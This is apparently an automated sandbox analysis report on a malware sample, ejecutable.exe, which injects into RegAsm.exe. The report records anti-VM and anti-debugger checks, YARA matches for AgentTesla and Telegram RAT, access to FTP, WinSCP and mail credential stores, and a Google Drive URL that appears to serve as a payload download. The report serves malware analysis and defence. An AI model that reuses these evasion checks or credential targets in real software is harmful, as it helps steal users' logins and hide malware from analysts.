Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\ejecutable.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\ejecutable.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: ejecutable.exe, 00000001.00000002.27685485302.0000000002AD0000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=WINDIR=\MICROSOFT.NET\FRAMEWORK\V2.0.50727\REGASM.EXE\SYSWOW64\MSVBVM60.DLL
Source: ejecutable.exe, 00000001.00000002.27684787142.00000000005BD000.00000004.00000020.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXELT
Source: ejecutable.exe, 00000001.00000002.27685485302.0000000002AD0000.00000004.00000001.sdmp, RegAsm.exe, 00000004.00000002.32228532360.00000000016B0000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: ejecutable.exe, 00000001.00000002.27684787142.00000000005BD000.00000004.00000020.sdmp	Binary or memory string: \ROGRAM FILES\QEMU-GA\QEMU-GA.EXELYX
Source: RegAsm.exe, 00000004.00000002.32228532360.00000000016B0000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1BI6JWZVOFI4HFXWZ55N_4RDVYEIHFZDRWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKO

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Function Chain: systemQueried,systemQueried,systemQueried,threadCreated,threadResumed,threadDelayed,threadDelayed,systemQueried,systemQueried,systemQueried,threadDelayed,systemQueried,threadDelayed,memAlloc,systemQueried,threadDelayed,threadDelayed,threadDelayed,memAlloc,memAlloc,memAlloc,memAlloc,memAlloc,memAlloc,memAlloc

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 7148	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 7148	Thread sleep time: -92640000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 7148	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 7148	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Window / User API: threadDelayed 3088

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\Desktop\ejecutable.exe

System information queried: ModuleInformation

Jump to behavior

Source: RegAsm.exe, 00000004.00000002.32228532360.00000000016B0000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=https://drive.google.com/uc?export=download&id=1BI6jwZVoFi4HfxwZ55n_4RDvYEIhfZDrwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Source: ejecutable.exe, 00000001.00000002.27685485302.0000000002AD0000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=windir=\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe\syswow64\msvbvm60.dll
Source: ejecutable.exe, 00000001.00000002.27684787142.00000000005BD000.00000004.00000020.sdmp	Binary or memory string: \rogram Files\Qemu-ga\qemu-ga.exelyX
Source: ejecutable.exe, 00000001.00000002.27684787142.00000000005BD000.00000004.00000020.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exelT
Source: RegAsm.exe, 00000004.00000002.32227692544.0000000001552000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: ejecutable.exe, 00000001.00000002.27685485302.0000000002AD0000.00000004.00000001.sdmp, RegAsm.exe, 00000004.00000002.32228532360.00000000016B0000.00000004.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\ejecutable.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\ejecutable.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Code function: 4_2_01761870 LdrInitializeThunk,

4_2_01761870

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\ejecutable.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe base: 1330000

Jump to behavior

Source: C:\Users\user\Desktop\ejecutable.exe

Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe 'C:\Users\user\Desktop\ejecutable.exe'

Jump to behavior

Source: RegAsm.exe, 00000004.00000002.32229571401.0000000001C01000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RegAsm.exe, 00000004.00000002.32229571401.0000000001C01000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: RegAsm.exe, 00000004.00000002.32229571401.0000000001C01000.00000002.00020000.sdmp	Binary or memory string: Program Manager-
Source: RegAsm.exe, 00000004.00000002.32229571401.0000000001C01000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Telegram RAT

Show sources

Source: Yara match	File source: 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2476, type: MEMORYSTR

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2476, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
